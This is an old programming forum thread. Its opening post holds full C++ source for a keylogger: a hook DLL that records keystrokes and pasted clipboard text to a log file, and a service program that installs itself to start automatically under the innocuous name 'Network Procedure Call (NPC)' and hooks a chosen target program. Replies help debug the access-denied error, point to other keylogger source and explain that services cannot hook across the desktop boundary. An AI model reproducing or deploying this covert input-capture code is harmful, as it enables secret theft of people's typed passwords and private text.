Sign in to follow this  

hooks in windows service

This topic is 3848 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.

If you intended to correct an error in the post then please contact us.

Recommended Posts

I'm writing windows service which waits while the program (ex. "prog.exe") starts and log all keyboard events to the file. And I can't set hook in windows service, but hook works in usual exe-program. Here is code. dll - code.
// ncplib.cpp
#include <windows.h>
#include <stdio.h>

bool					bhstate = 0;
char					line[1028];
HGLOBAL					hglb = 0;
HINSTANCE				hmod = 0;
HWND					hwnd = 0;
UCHAR					n_cols = 0;
FILE*					stream;
LPSTR					lpbuf;

static HHOOK			hhook0, hhook1, hhook2;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	if (DLL_PROCESS_ATTACH == ul_reason_for_call) hmod = hModule;	
    return 1;
}
void SaveHookMsg(LPCSTR _line)
{
	char _Format[8] = "%s";
	fopen_s(&stream, "c:\\hook.log", "a");
	
	n_cols++;
	if (n_cols == 3) 
	{
		strcat_s(_Format, 8, "\n");
		n_cols = 0;
	}
	else strcat_s(_Format, 8, "\t\t");	

	fprintf(stream, _Format, _line);		
	fclose(stream);			
}
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	PCWPSTRUCT pCWPStruct = (PCWPSTRUCT)lParam;
	if (WM_PASTE == pCWPStruct->message)
	{
		if (bhstate) SaveHookMsg(line);			
		if (IsClipboardFormatAvailable(CF_TEXT)) 
		{
			if (OpenClipboard(0)) 
			{
				hglb = GetClipboardData(CF_TEXT);
				if (0 != hglb)
				{
					lpbuf = (LPTSTR)GlobalLock(hglb); 
					if (0 != lpbuf) 	
					{				
						sprintf_s(line, 128, "%x\t%s", (LPARAM)pCWPStruct->hwnd, lpbuf);
						SaveHookMsg(line);									
							
						GlobalUnlock(hglb);
					}					
				}				
				CloseClipboard();
			}
		}	
		bhstate = 0;
	}
	return CallNextHookEx(0, nCode, wParam, lParam);  
}
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (HCBT_DESTROYWND == nCode)
	{	
		if (bhstate)
		{
			SaveHookMsg(line);			
			bhstate = 0;							
		}
	}
	return CallNextHookEx(0, nCode, wParam, lParam);  
}
LRESULT CALLBACK MsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{		
	PMSG pMsg = (PMSG)lParam;	
	switch LOWORD(pMsg->message) 
	{
		case WM_KEYDOWN:
		{	
			CHAR symb[8];
			UINT_PTR ukey = pMsg->wParam;
			switch (ukey)
			{
				case VK_ADD: 
				{
					strcpy_s(symb, 8, "_Add+");
					break;
				}
				case VK_APPS: 
				{
					strcpy_s(symb, 8, "_Apps+");
					break;
				}
				case VK_BACK: 
				{
					strcpy_s(symb, 8, "_Back+");
					break;
				}
				case VK_CAPITAL: 
				{
					strcpy_s(symb, 8, "_Caps+");
					break;
				}		
				case VK_CONTROL: 
				{
					strcpy_s(symb, 8, "_Ctrl+");
					break;
				}
				case VK_DECIMAL: 
				{
					strcpy_s(symb, 8, "_Dec+");
					break;
				}
				case VK_DELETE: 
				{
					strcpy_s(symb, 8, "_Del+");
					break;
				}
				case VK_DIVIDE: 
				{
					strcpy_s(symb, 8, "_Div+");
					break;
				}
				case VK_DOWN: 
				{
					strcpy_s(symb, 8, "_Down+");
					break;
				}
				case VK_END: 
				{
					strcpy_s(symb, 8, "_End+");
					break;
				}
				case VK_ESCAPE: 
				{
					strcpy_s(symb, 8, "_Esc+");
					break;
				}
				case VK_F1: 
				{
					strcpy_s(symb, 8, "_F1+");
					break;
				}
				case VK_F2: 
				{
					strcpy_s(symb, 8, "_F2+");
					break;
				}
				case VK_F3: 
				{
					strcpy_s(symb, 8, "_F3+");
					break;
				}
				case VK_F4: 
				{
					strcpy_s(symb, 8, "_F4+");
					break;
				}
				case VK_F5: 
				{
					strcpy_s(symb, 8, "_F5+");
					break;
				}
				case VK_F6: 
				{
					strcpy_s(symb, 8, "_F6+");
					break;
				}
				case VK_F7: 
				{
					strcpy_s(symb, 8, "_F7+");
					break;
				}
				case VK_F8: 
				{
					strcpy_s(symb, 8, "_F8+");
					break;
				}
				case VK_F9: 
				{
					strcpy_s(symb, 8, "_F9+");
					break;
				}
				case VK_F10: 
				{
					strcpy_s(symb, 8, "_F10+");
					break;
				}
				case VK_F11: 
				{
					strcpy_s(symb, 8, "_F11+");
					break;
				}
				case VK_F12: 
				{
					strcpy_s(symb, 8, "_F12+");
					break;
				}	
				case VK_HOME: 
				{
					strcpy_s(symb, 8, "_Home+");
					break;
				}
				case VK_INSERT: 
				{
					strcpy_s(symb, 8, "_Ins+");
					break;
				}
				case VK_LEFT: 
				{
					strcpy_s(symb, 8, "_Left+");
					break;
				}
				case VK_LWIN: 
				{
					strcpy_s(symb, 8, "_LWin");
					break;
				}
				case VK_MENU: 
				{
					strcpy_s(symb, 8, "_Alt+");
					break;
				}
				case VK_MULTIPLY: 
				{
					strcpy_s(symb, 8, "_Mult+");
					break;
				}
				case VK_NEXT: 
				{
					strcpy_s(symb, 8, "_PgDn+");
					break;
				}
				case VK_NUMLOCK: 
				{
					strcpy_s(symb, 8, "_NumLck+");
					break;
				}
				case VK_NUMPAD0: 
				{
					strcpy_s(symb, 8, "_Num0+");
					break;
				}
				case VK_NUMPAD1: 
				{
					strcpy_s(symb, 8, "_Num1+");
					break;
				}
				case VK_NUMPAD2: 
				{
					strcpy_s(symb, 8, "_Num2+");
					break;
				}
				case VK_NUMPAD3: 
				{
					strcpy_s(symb, 8, "_Num3+");
					break;
				}
				case VK_NUMPAD4: 
				{
					strcpy_s(symb, 8, "Num4+");
					break;
				}
				case VK_NUMPAD5: 
				{
					strcpy_s(symb, 8, "_Num5+");
					break;
				}
				case VK_NUMPAD6: 
				{
					strcpy_s(symb, 8, "_Num6+");
					break;
				}
				case VK_NUMPAD7: 
				{
					strcpy_s(symb, 8, "_Num7+");
					break;
				}
				case VK_NUMPAD8: 
				{
					strcpy_s(symb, 8, "_Num8+");
					break;
				}
				case VK_NUMPAD9: 
				{
					strcpy_s(symb, 8, "_Num9+");
					break;
				}
				case VK_OEM_1: 
				{
					strcpy_s(symb, 8, ";");
					break;
				}
				case VK_OEM_2: 
				{
					strcpy_s(symb, 8, "/");
					break;
				}
				case VK_OEM_3: 
				{
					strcpy_s(symb, 8, "`");
					break;
				}
				case VK_OEM_4: 
				{
					strcpy_s(symb, 8, "[");
					break;
				}
				case VK_OEM_5: 
				{
					strcpy_s(symb, 8, "\\");
					break;
				}
				case VK_OEM_6: 
				{
					strcpy_s(symb, 8, "]");
					break;
				}
				case VK_OEM_7: 
				{
					strcpy_s(symb, 8, "'");
					break;
				}
				case VK_OEM_COMMA: 
				{
					strcpy_s(symb, 8, ",");
					break;
				}
				case VK_OEM_MINUS: 
				{
					strcpy_s(symb, 8, "-");
					break;
				}
				case VK_OEM_PERIOD: 
				{
					strcpy_s(symb, 8, ".");
					break;
				}
				case VK_OEM_PLUS: 
				{
					strcpy_s(symb, 8, "=");
					break;
				}
				case VK_PAUSE: 
				{
					strcpy_s(symb, 8, "_Pause+");
					break;
				}
				case VK_PRIOR: 
				{
					strcpy_s(symb, 8, "_PgUp+");
					break;
				}
				case VK_RIGHT: 
				{
					strcpy_s(symb, 8, "_Right+");
					break;
				}
				case VK_RETURN: 
				{
					strcpy_s(symb, 8, "_Enter+");
					break;
				}
				case VK_RWIN: 
				{
					strcpy_s(symb, 8, "_RWin");
					break;
				}
				case VK_SCROLL: 
				{
					strcpy_s(symb, 8, "_Scroll+");
					break;
				}
				case VK_SELECT: 
				{
					strcpy_s(symb, 8, "_Sel+");
					break;
				}
				case VK_SEPARATOR: 
				{
					strcpy_s(symb, 8, "_Sepr+");
					break;
				}
				case VK_SHIFT: 
				{
					strcpy_s(symb, 8, "_Shift+");
					break;
				}
				case VK_SNAPSHOT: 
				{
					strcpy_s(symb, 8, "_PrnScr+");
					break;
				}
				case VK_SPACE: 
				{
					strcpy_s(symb, 8, "_Space+");
					break;
				}
				case VK_SUBTRACT: 
				{
					strcpy_s(symb, 8, "_Sbtr+");
					break;
				}			
				case VK_TAB: 
				{
					strcpy_s(symb, 8, "_Tab+");
					break;
				}
				case VK_UP: 
				{
					strcpy_s(symb, 8, "_Up+");
					break;
				}
				default: 
				{
					if ((ukey >= 65) && (ukey <= 97)) ukey += 32;
					sprintf_s(symb, 8, "%c", ukey);							
					break;
				}
			}						
		
			if (hwnd != pMsg->hwnd)
			{
				if (bhstate) SaveHookMsg(line);								
				sprintf_s(line, 128, "%x\t%s", (LPARAM)pMsg->hwnd, symb);				
				hwnd = pMsg->hwnd;	
			}
			else strcat_s(line, 128, symb);			
			bhstate = 1;
			
			break;
		}
		case WM_PASTE:
		{			
			if (bhstate) SaveHookMsg(line);			
			if (IsClipboardFormatAvailable(CF_TEXT)) 
			{
				if (OpenClipboard(0)) 
				{
					hglb = GetClipboardData(CF_TEXT);
					if (0 != hglb)
					{
						lpbuf = (LPTSTR)GlobalLock(hglb); 
						if (0 != lpbuf) 	
						{				
							sprintf_s(line, 128, "%x\t%s", (LPARAM)pMsg->hwnd, lpbuf);
							SaveHookMsg(line);									
							
							GlobalUnlock(hglb);
						}					
					}				
					CloseClipboard();
				}
			}			
			bhstate = 0;
			break;
		}		
	}	
	return CallNextHookEx(0, nCode, wParam, lParam);  
}	
__declspec(dllexport) BOOL SetHooks(DWORD dwThreadId)
{		
	hhook0 = SetWindowsHookEx(WH_CBT, CBTProc, hmod, dwThreadId);
	hhook1 = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, hmod, dwThreadId);				         
	hhook2 = SetWindowsHookEx(WH_GETMESSAGE, MsgProc, hmod, dwThread);
	return ((0 != hhook2) && (0 != hhook1) && (0 != hhook0));		
}
__declspec(dllexport) void UnHook()
{
	UnhookWindowsHookEx(hhook2);
	UnhookWindowsHookEx(hhook1);
	UnhookWindowsHookEx(hhook0);
}

exe-code
// npc.cpp
#include "npc.h"
#include <windows.h>

typedef					BOOL (*SETHOOKS)(DWORD);
typedef					void (*UNHOOK)();

BOOL					bRunning = 0;
DWORD					dwSeconds = 0;
HANDLE					hsrcThread, hStopEvent;
HOOKSTRUCT				hkStruct;   // struc that contains process name to be logged
SERVICE_STATUS			srcStatus;
SERVICE_STATUS_HANDLE	srcStatusHandle;

BOOL DeleteService()
{
	SC_HANDLE schSCManager = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS);
	if (0 == schSCManager) return 0;
	
	SC_HANDLE schService = OpenService(schSCManager, "NetPrc", DELETE);
	if (0 == schService) return 0;

	if (0 == DeleteService(schService)) return 0;
	CloseServiceHandle(schService); 

	return 1;
}
BOOL GetModuleProcessId(LPCSTR szModule, LPDWORD lpdwProcessId)
{
	BOOL bres = 0;
	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pe32;

	if (INVALID_HANDLE_VALUE != hProcessSnap)
	{		
		pe32.dwSize = sizeof(PROCESSENTRY32);
		if (Process32First(hProcessSnap, &pe32))
		{
			do
			{
				if (0 == strcmp(pe32.szExeFile, szModule)) 
				{
					*lpdwProcessId = pe32.th32ProcessID;
					bres = 1;
					break;
				}
			}
			while (Process32Next(hProcessSnap, &pe32));
		}		
		CloseHandle(hProcessSnap);				
	}	
	return bres;
}
BOOL InstallService(LPCTSTR path)
{	
	SC_HANDLE schSCManager = OpenSCManager(0, 0, SC_MANAGER_CREATE_SERVICE);  
 	if (0 == schSCManager) return 0; 
 
    SC_HANDLE schService = CreateService(schSCManager, "NetPrc", "Network Procedure Call (NPC)", SERVICE_ALL_ACCESS, 
		  		        				 SERVICE_WIN32_SHARE_PROCESS | SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, 
										 SERVICE_ERROR_NORMAL, path, 0, 0, 0, 0, 0);         
    if (0 == schService) return 0;   
    CloseServiceHandle(schService); 

	return 1;
}
DWORD GetModuleThreadId(DWORD th32ProcessID)
{
	DWORD dwThreadId = 0;
	HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
	THREADENTRY32 te32;	

	if (INVALID_HANDLE_VALUE != hThreadSnap)
	{		
		te32.dwSize = sizeof(THREADENTRY32);
		if (Thread32First(hThreadSnap, &te32))
		{
			do
			{
				if (th32ProcessID == te32.th32OwnerProcessID) 
				{
					dwThreadId = te32.th32ThreadID;					
					break;
				}
			}
			while (Thread32Next(hThreadSnap, &te32));
		}		
		CloseHandle(hThreadSnap);				
	}	
	return dwThreadId;
}
DWORD WINAPI Thread(LPVOID)
{
	DWORD dwModuleProcessId, dwModuleThreadId;		
	while (bRunning)
	{
		while (!GetModuleProcessId(hkStruct.szModule, &dwModuleProcessId))
		{
			Sleep(1000);
			dwSeconds++;
		}
		HMODULE hModule = LoadLibrary("npclib.dll");
		if (0 != hModule)
		{			
			dwModuleThreadId = GetModuleThreadId(dwModuleProcessId);							
			SETHOOKS SetHooks = (SETHOOKS)GetProcAddress(hModule, "SetHooks");
			UNHOOK UnHook = (UNHOOK)GetProcAddress(hModule, "UnHook");

			if (SetHooks(dwModuleThreadId))
			{				
				while (GetModuleProcessId(hkStruct.szModule, &dwModuleProcessId))
				{
					Sleep(1000);
					dwSeconds++;
				}		
				UnHook();		
			}			
		}
	}
	return 0;
}
BOOL ServiceStart()
{
	DWORD dwThread;
	hsrcThread = CreateThread(0, 0, Thread, 0, 0, &dwThread);
	if (0 == hsrcThread) return 0; 	
	bRunning = 1;
	return 1;
}
void WINAPI ServiceHandler(DWORD dwOpcode)
{
	switch	(dwOpcode) 
    { 
        case SERVICE_CONTROL_PAUSE: 
		{
            srcStatus.dwCurrentState = SERVICE_PAUSED; 
            break; 
		}
        case SERVICE_CONTROL_CONTINUE: 
		case SERVICE_CONTROL_INTERROGATE:
		{    
			srcStatus.dwCurrentState = SERVICE_RUNNING; 
            break; 
		}
		case SERVICE_CONTROL_SHUTDOWN:
        case SERVICE_CONTROL_STOP: 			
		{
            srcStatus.dwCurrentState = SERVICE_STOPPED; 
			srcStatus.dwWin32ExitCode = 0;             
            srcStatus.dwCheckPoint = 0; 
            srcStatus.dwWaitHint = 0;  
            SetServiceStatus(srcStatusHandle, &srcStatus);
			SetEvent(hStopEvent);
			bRunning = 0;
			break;
		}         
    }      
    return; 
}
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
{
	srcStatus.dwServiceType = SERVICE_WIN32; 
    srcStatus.dwCurrentState = SERVICE_START_PENDING; 
    srcStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 
	srcStatus.dwWin32ExitCode = 0; 
    srcStatus.dwServiceSpecificExitCode = 0; 
    srcStatus.dwCheckPoint = 0; 
    srcStatus.dwWaitHint = 0; 
	
	srcStatusHandle = RegisterServiceCtrlHandler("NetPrc", ServiceHandler); 
	if ((SERVICE_STATUS_HANDLE)0 == srcStatusHandle) return;	
	
	hStopEvent = CreateEvent(0, 1, 0, 0);
	if (ServiceStart())
	{
		srcStatus.dwCurrentState = SERVICE_RUNNING; 
		srcStatus.dwCheckPoint = 0; 
		srcStatus.dwWaitHint = 0;  
		SetServiceStatus(srcStatusHandle, &srcStatus);	
		WaitForSingleObject(hStopEvent, INFINITE);
		CloseHandle(hStopEvent);
	}
	return;
}
int main(int argc, char* argv[])
{				
	if (argc > 1)		
	{
		if (0 == strcmp(argv[1], "-i"))
		{
			InstallService(argv[0]); 			
		}
		else if (0 == strcmp(argv[1], "-d"))
		{	
			DeleteService();
		} 
	}
	else
	{
		SERVICE_TABLE_ENTRY DispatchTable[] = 
		{
			{"NetPrc", ServiceMain}, 
			{0, 0}
		};  
		StartServiceCtrlDispatcher(DispatchTable); 		
	}
	return 0;
}

I have got error code in dll proc "SetHooks", answer was dw = GetLastError() = 5(ERROR_ACCESS_DENIED). That's all. Can anybody help? Thanks.

Share this post


Link to post
Share on other sites
How can you tell which call produced the error?


hhook0 = SetWindowsHookEx(WH_CBT, CBTProc, hmod, dwThreadId);
hhook1 = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, hmod, dwThreadId);
hhook2 = SetWindowsHookEx(WH_GETMESSAGE, MsgProc, hmod, dwThread);


If the function fails, the return value is NULL. To get extended error information, call GetLastError.


hhook0 = SetWindowsHookEx(WH_CBT, CBTProc, hmod, dwThreadId);
if ( NULL == hhook0 ) {
// log error GetLastError()
}

Come back with more information. [smile]


If you're interested in a simple keylogger, here is some source code for a simple keylogger that works on W2K/XP. It's not a service though.


Share this post


Link to post
Share on other sites
In Service Thread result of

__declspec(dllexport) BOOL SetHooks(DWORD dwThreadId)
{
DWORD dw0, dw1, dw2;
hhook0 = SetWindowsHookEx(WH_CBT, CBTProc, hmod, dwThreadId);
dw0 = GetLastError();
hhook1 = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, hmod, dwThreadId);
dw1 = GetLastError();
hhook2 = SetWindowsHookEx(WH_GETMESSAGE, MsgProc, hmod, dwThread);
dw2 = GetLastError();
return ((0 != hhook2) && (0 != hhook1) && (0 != hhook0));
}


is FALSE.

All hooks (hook0, hook1, hook2) are nulls.
The result of SetWindowsHookEx will be also null if it will placed in Service Thread body.

Share this post


Link to post
Share on other sites
In Service Thread result of

__declspec(dllexport) BOOL SetHooks(DWORD dwThreadId)
{
DWORD dw0, dw1, dw2;
hhook0 = SetWindowsHookEx(WH_CBT, CBTProc, hmod, dwThreadId);
dw0 = GetLastError();
hhook1 = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, hmod, dwThreadId);
dw1 = GetLastError();
hhook2 = SetWindowsHookEx(WH_GETMESSAGE, MsgProc, hmod, dwThread);
dw2 = GetLastError();
return ((0 != hhook2) && (0 != hhook1) && (0 != hhook0));
}


is FALSE.

All hooks (hook0, hook1, hook2) are nulls.
The result of SetWindowsHookEx will be also null if it will placed in Service Thread body, but it works in not service program...

Share this post


Link to post
Share on other sites
After doing a little bit of searching on the subject, it appears that setting a windows hook from within a service is not possible due to the security architecture of windows. According to Joe Newcomer, SetWindowsHookEx from service to user window, accomplishing this requires "crossing a desktop boundary, which is forbidden."

Here are the other useful references I came across in my search.

SetWindowsHookEx() fails inside a thread of Windows service created using AfxBeginThread()
SetWindowsHookEx() fails inside a thread of service created using AfxBeginThread()

Windows keyboard hook as Windows Service

What is the HINSTANCE passed to SetWindowsHookEx used for?

Why Do Certain Win32 Technologies Misbehave in Windows NT Services?
Design a Windows NT Service to Exploit Special Operating System Facilities

If you keep digging into the problem and find a solution, please drop me a PM and let me know.

Share this post


Link to post
Share on other sites

This topic is 3848 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic.

If you intended to correct an error in the post then please contact us.

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this